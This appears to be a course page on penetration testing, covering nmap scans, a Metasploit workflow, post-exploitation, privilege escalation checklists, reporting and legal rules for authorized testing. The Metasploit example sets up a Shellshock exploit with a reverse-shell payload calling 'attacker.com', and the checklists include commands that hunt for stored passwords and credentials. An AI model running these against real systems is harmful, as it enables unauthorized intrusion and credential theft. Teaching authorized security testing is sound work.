Documentation Index

Fetch the complete documentation index at: https://roadtocybersec.com/llms.txt

Use this file to discover all available pages before exploring further.

​

Penetration Testing

​

Types of Penetration Tests

​

The Pentesting Methodology

​

Phase 2: Reconnaissance (OSINT)

​

Passive Reconnaissance (No direct interaction with the target)

​

Active Reconnaissance (Direct interaction: the target may detect you)

​

Phase 3: Scanning and Enumeration

​

Port Scanning with Nmap

# Basic TCP scan of the top 1000 ports
nmap -sT target.com

# Full port scan (all 65535 ports) with service version detection
nmap -p- -sV -sC target.com

# Aggressive scan (OS detection + scripts + traceroute)
nmap -A target.com

# UDP scan (slower, but discovers services like DNS, SNMP, TFTP)
nmap -sU --top-ports 100 target.com

​

Web Application Scanning

​

Phase 5: Exploitation

​

The Metasploit Framework

# Start Metasploit
msfconsole

# Search for exploits targeting a specific service
search type:exploit name:apache

# Select an exploit
use exploit/multi/http/apache_mod_cgi_bash_env_exec

# Set target options
set RHOSTS target.com
set RPORT 443

# Select a payload
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST attacker.com

# Execute
exploit

​

Phase 6: Post-Exploitation

​

Key Activities

• Privilege Escalation: Moving from a low-privilege user to root/administrator. Techniques include kernel exploits, misconfigured SUID binaries, writable cron jobs, and unquoted service paths.
• Lateral Movement: Moving from the compromised system to other systems on the network. Techniques include credential harvesting, pass-the-hash, RDP/SSH pivoting, and exploiting trust relationships.
• Data Exfiltration: Identifying and extracting sensitive data (to prove impact, not to steal it). Document what was accessible.
• Persistence: Establishing mechanisms to maintain access (backdoor accounts, scheduled tasks, web shells), to demonstrate what a real attacker could do.

​

Privilege Escalation Checklists

• Check sudo -l for commands the user can run as root
• Search for SUID/SGID binaries: find / -perm -4000 -type f 2>/dev/null
• Check cron jobs: cat /etc/crontab, ls -la /etc/cron.*
• Check writable paths in PATH environment variable
• Search for passwords in config files: grep -r "password" /etc/ 2>/dev/null

• Check whoami /priv for enabled privileges
• Search for unquoted service paths
• Check AlwaysInstallElevated registry keys
• Search for stored credentials: cmdkey /list
• Check scheduled tasks running as SYSTEM

​

Phase 7: Reporting

​

Report Structure

1. Executive Summary: High-level overview for management: overall risk posture, critical findings, business impact, and strategic recommendations. No technical jargon.
2. Scope and Methodology: What was tested, how, and during what timeframe.
3. Findings: Each vulnerability documented with:
   • Title and severity (Critical/High/Medium/Low/Informational)
   • CVSS score (Common Vulnerability Scoring System)
   • Description of the vulnerability
   • Evidence (screenshots, request/response pairs, tool output)
   • Impact (what an attacker could achieve)
   • Remediation (specific, actionable fix)
4. Positive Findings: What security controls were effective.
5. Appendices: Raw tool output, detailed technical data.

​

Bug Bounty Programs

​

Major Platforms

​

Getting Started in Bug Bounty

1. Learn the fundamentals (this course is a good start).
2. Practice on legal targets: HackTheBox, TryHackMe, PortSwigger Web Security Academy, OWASP WebGoat.
3. Read disclosed reports: HackerOne’s Hacktivity feed shows real-world bug reports.
4. Start with low-hanging fruit: Focus on IDOR, XSS, and information disclosure before attempting complex chains.
5. Write clear reports: The quality of your report is as important as the vulnerability itself.

​

Legal and Ethical Framework

• Always get written authorization before testing any system.
• Stay within scope: do not test systems or functionalities not covered by the agreement.
• Report all findings, even accidental discoveries outside scope.
• Handle data responsibly: if you access sensitive data during testing, treat it as confidential.
• Disclose responsibly: follow the organization’s disclosure timeline. Never publish findings without permission.

​

Relevant Laws

​

Key Takeaways

1. Methodology matters: Follow a structured approach: reconnaissance, scanning, exploitation, post-exploitation, reporting.
2. OSINT is powerful: Publicly available information often reveals more than technical scanning.
3. Authorization is non-negotiable: Testing without permission is a crime, period.
4. The report is the product: A vulnerability discovered but poorly communicated has no value.
5. Practice legally: Use HackTheBox, TryHackMe, and bug bounty programs to build skills.
6. Think like an attacker, act like a professional: The goal is to improve security, not cause harm.